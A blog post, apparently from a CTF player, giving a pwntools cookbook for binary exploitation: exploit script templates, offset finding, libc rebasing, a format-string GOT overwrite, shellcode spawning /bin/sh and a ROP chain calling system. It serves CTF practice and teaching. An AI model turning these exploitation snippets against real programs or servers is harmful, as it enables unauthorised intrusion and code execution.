algoatson.github.io ~/posts
segfault@algoatson.github.io
back to index

a pwntools cookbook

2026-05-264 min readpwn tooling ctf

pwntools is the standard library for exploitation: it turns "parse this, pack that, connect here, attach a debugger" into a handful of calls. Install is pip install pwntools. This is the slice I use without looking anything up.

the boilerplate#

Don't hand-write it — generate it and fill in the blanks:

console
$ pwn template ./chal --host chal.example.org --port 1337 > solve.py

That scaffolds the pattern every exploit starts from:

solve.pypython
from pwn import *
elf = context.binary = ELF("./chal")     # sets arch/bits/os for everything else
libc = ELF("./libc.so.6", checksec=False)

def conn():
    if args.REMOTE:  return remote("chal.example.org", 1337)   # python3 solve.py REMOTE
    if args.GDB:     return gdb.debug([elf.path], gdbscript=GS)
    return process([elf.path])

GS = """
b *main+42
continue
"""
io = conn()

Setting context.binary once configures p64, asm, ROP, and the loglevel to match the target. args.REMOTE reads from the command line, so one script runs locally, under gdb, or against the server.

tubes — talk to the target#

process, remote, gdb.debug, and ssh all return the same tube interface, so the I/O code never changes between local and remote:

call use
io = process("./chal") run locally
io = remote("host", 1337) connect to the server
io = gdb.debug("./chal", GS) launch under gdb with a script
gdb.attach(io, GS) attach to an already-running process
io.recvuntil(b"name: ") read up to a delimiter
io.recvline() / io.recvn(8) one line / exactly n bytes
io.sendline(payload) send + newline
io.sendlineafter(b"> ", payload) wait for prompt, then send (the workhorse)
io.interactive() hand the shell to your keyboard

make gdb.attach actually pop a window

Set the terminal once and gdb.attach/gdb.debug open a real split: context.terminal = ["tmux", "splitw", "-h"] (inside tmux). On a fresh box that one line saves a lot of swearing.

packing & offsets#

python
1
2
3
4
p64(0xdeadbeef)              # -> b'\xef\xbe\xad\xde\x00\x00\x00\x00'
u64(io.recv(8))             # 8 leaked bytes -> int
u64(io.recvline().strip().ljust(8, b"\x00"))   # the leak idiom
flat({72: p64(ret), 80: p64(win)})             # build a buffer by offset

Find the overflow offset without counting — send a De Bruijn pattern, read back the value that landed in the saved RIP:

python
1
2
3
io.sendline(cyclic(200))
# ... crash; read $rip from the core or gdb, e.g. 0x6161616c61616161
offset = cyclic_find(0x6161616c)     # -> exact distance to the return address

ELF & libc helpers#

The ELF object is a symbol/address oracle, and it stays correct after you slide its base:

python
1
2
3
4
5
6
7
8
elf.sym["main"]            # symbol address (PIE: file offset until .address set)
elf.got["puts"]            # GOT slot for puts
elf.plt["puts"]            # PLT stub for puts
elf.search(b"/bin/sh").__next__()      # find bytes in the binary

libc.address = leak - libc.sym["puts"] # rebase libc from one leak...
system  = libc.sym["system"]           # ...and every other symbol is now correct
binsh   = next(libc.search(b"/bin/sh\x00"))

format strings#

fmtstr_payload computes the %hn/%n writes for you — give it the argument offset and an {address: value} map:

python
1
2
3
# offset = which %N$ slot your input lands in (find with %p spam, or fmtstr_payload's autodetect)
payload = fmtstr_payload(6, {elf.got["exit"]: elf.sym["win"]})
io.sendline(payload)

That overwrites exit's GOT entry with win, so the next exit() calls your function — the canonical format-string-to-control-flow move.

shellcode without writing assembly#

python
1
2
3
4
context.arch = "amd64"
asm(shellcraft.sh())             # execve("/bin/sh") for the current arch
asm(shellcraft.cat("/flag"))     # open+read+write /flag to stdout (great under seccomp)
asm("xor rdi, rdi; mov al, 60; syscall")   # or just hand it asm

ROP#

ROP assembles chains and finds simple gadgets; the full treatment — find_gadget, SROP, ret2dlresolve — is its own post: finding gadgets.

python
1
2
3
rop = ROP(elf)
rop.call("system", [next(elf.search(b"/bin/sh\x00"))])
payload = b"A"*72 + rop.chain()

the CLI is half the value#

pwn is also a toolbox of subcommands that replace one-off scripts:

console
1
2
3
4
5
6
7
$ pwn checksec ./chal              # mitigations
$ pwn cyclic 200                   # De Bruijn pattern
$ pwn cyclic -l 0x6161616c         # ...and the reverse lookup
$ pwn disasm "4831c0"              # bytes -> assembly
$ pwn asm "mov rax, 1"             # assembly -> bytes
$ pwn shellcraft -f d amd64.linux.sh   # dump shellcode for a target
$ pwn phd ./chal                   # a pretty hexdump
the loop I actually run

python3 solve.py GDB to develop against a breakpoint, python3 solve.py to sanity-check locally, python3 solve.py REMOTE to fire. Same file, three modes, because the template wired args in from the start. Set context.log_level = "debug" when the I/O desyncs — it prints every byte sent and received, which is almost always where the bug is.